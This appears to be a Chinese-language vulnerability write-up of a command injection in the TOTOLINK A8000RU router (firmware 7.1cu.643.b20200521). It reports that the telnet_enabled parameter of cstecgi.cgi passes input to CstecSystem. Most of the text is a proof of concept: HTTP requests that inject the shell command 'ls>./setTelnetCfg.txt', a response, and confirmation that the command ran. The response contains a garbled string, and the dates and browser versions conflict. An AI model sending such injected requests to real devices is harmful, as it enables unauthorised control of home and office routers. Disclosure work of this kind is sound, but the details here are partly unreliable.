# A8000RU 命令注入漏洞总结 ## 漏洞概述 TOTOLINK A8000RU 路由器存在命令注入漏洞。在 `cstecgi.cgi` 中,攻击者可以通过构造请求中的 `telnet_enabled` 参数,将任意操作系统命令注入到 `CstecSystem` 函数中执行。 ## 影响范围 - **厂商**: TOTOLINK - **产品**: A8000RU - **版本**: 7.1cu.643.b20200521 ## 修复方案 页面未提供具体的修复方案或补丁信息。建议联系厂商获取更新。 ## Proof of Concept (PoC) 以下是利用该漏洞的 HTTP 请求示例: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 80 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2-1772405702.2 Connection: keep-alive {"topscurl":"setTelnetCfg","telnet_enabled":"ls>./setTelnetCfg.txt"} ``` ### 请求详情 ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 79 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/phone/login.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2-1774037321.2 Connection: keep-alive {"topscurl":"setTelnetCfg","telnet_enabled":"ls>./setTelnetCfg.txt"} ``` ### 响应详情 ```http HTTP/1.1 200 OK Date: Fri, 27 Jun 2025 02:13:19 GMT Server: lighttpd/1.4.30 Content-Length: 233 Content-Type: application/json SendMsgToAgentWithDifferentNumberByFlyteethnaspex send-byte Plexcheckapplyservice LxtoCwlanExecutionFailed { "success": true, "error": null, "lan_ip": "192.168.0.1", "wan": "0", "reserv": "reserv" } ``` ## 结果 提交上述 HTTP 请求后,观察到 `txt` 文件成功创建,其内容正是文件夹中的文件名列表。这证实了命令 `ls>./setTelnetCfg.txt` 已成功执行。